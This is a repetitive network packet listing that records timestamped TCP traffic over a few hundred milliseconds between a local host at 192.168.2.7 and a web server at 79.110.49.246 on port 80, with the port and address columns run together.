                                                                                                                      Nov 23, 2024 21:09:26.958400011 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958410978 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958421946 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958431959 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958436966 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958442926 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958442926 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958442926 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958461046 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958471060 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958479881 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958489895 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958501101 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958511114 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958512068 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958512068 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958522081 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958532095 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958544016 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958554029 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958564997 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958574057 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958574057 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958581924 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958591938 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958602905 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958614111 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958623886 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958631992 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958631992 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958633900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958643913 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958655119 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958666086 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958678007 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958678007 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958779097 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958794117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958805084 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958815098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958826065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958836079 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958847046 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958854914 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958854914 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958857059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958868027 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958878040 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958888054 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958899021 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958905935 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958905935 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958921909 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958937883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958937883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.958940983 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958951950 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958961964 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958971977 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958983898 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.958993912 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959005117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959014893 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959014893 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959014893 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959026098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959036112 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959047079 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959058046 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959068060 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959076881 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959076881 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959078074 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959090948 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959100962 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959112883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959112883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959201097 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959209919 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959219933 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959230900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959240913 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959245920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959245920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959250927 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959263086 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959273100 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959283113 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959290028 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959290028 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959294081 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959304094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959322929 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959333897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959336996 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959336996 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959343910 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959378958 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959760904 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959789038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959800959 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959815025 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959825993 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959837914 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959842920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959842920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959847927 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959866047 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959882021 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959882021 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959884882 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959897041 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959907055 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959920883 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959933043 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959943056 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959954023 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959964991 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959975004 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959979057 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959979057 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.959985971 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.959996939 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960007906 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960015059 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960015059 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960021019 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960032940 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960043907 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960055113 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960064888 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960071087 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960071087 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960076094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960087061 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960098982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960109949 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960119963 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960129976 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960134983 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960134983 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960141897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960151911 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960163116 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960174084 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960179090 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960179090 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960212946 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960213900 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.960880995 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960894108 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960905075 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.960939884 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.961788893 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.961951017 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.961968899 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.962723970 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.962815046 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.963128090 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.963690042 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.963701963 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.963764906 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.964752913 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.964853048 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.965557098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.965568066 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.965579033 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.965658903 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.982609034 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.982774973 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.982778072 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.983038902 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.983227015 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.983231068 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.983243942 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.983341932 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.984097958 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.985116959 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.985130072 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.985183001 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.985187054 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.985347986 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.986258984 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.986490965 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.986788988 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.986980915 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.986993074 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.987338066 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.987859964 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.988878965 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.988892078 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.988903046 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.988960028 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.988960028 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.989762068 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.990211010 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.990549088 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.990753889 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.990773916 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.991055012 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.991673946 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.991687059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.991765022 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.992652893 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.992666006 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.992738008 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.993586063 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.993598938 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.993783951 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.994527102 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.994697094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.994813919 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.995430946 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.995444059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.995551109 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.996371031 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.996383905 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.996495962 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.997271061 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.997906923 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.997993946 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.998239994 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.998251915 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:26.998321056 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:26.999150038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.000135899 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.000148058 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.000159025 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.000189066 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.000219107 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.001076937 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.001362085 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.001430035 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.002099037 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.002197981 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.002343893 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.002908945 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.003973007 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.003984928 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.004065037 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.139813900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.139972925 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.140083075 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.140127897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.140296936 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.140388966 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.140508890 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.141279936 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.141354084 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.141807079 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.142210007 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.142343044 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.143184900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.143198013 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.143209934 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.143336058 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.144079924 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.144876957 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.145068884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.145082951 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.145095110 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.145277023 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.145955086 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.146177053 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.146205902 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.146934032 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.146945953 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.146995068 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.147834063 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.147952080 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.148732901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.148842096 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.148853064 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.148897886 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.149718046 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.149770975 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.150206089 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.150695086 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.150708914 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.150803089 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.151586056 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.151768923 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.151768923 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.152561903 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.152573109 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.152893066 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.153529882 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.153542995 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.153636932 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.154442072 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.154500961 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.155026913 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.155369043 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.155920029 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.155966997 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.156311989 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.156927109 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.157027006 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.157254934 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.157376051 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.157700062 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.158248901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.158438921 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.158803940 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.159121990 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.159202099 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.159394026 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.160101891 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.160648108 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.160674095 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.161030054 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.161122084 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.161151886 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.161947966 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.162168980 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.162199974 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.162888050 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.163300037 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.163348913 CET804972679.110.49.246192.168.2.7
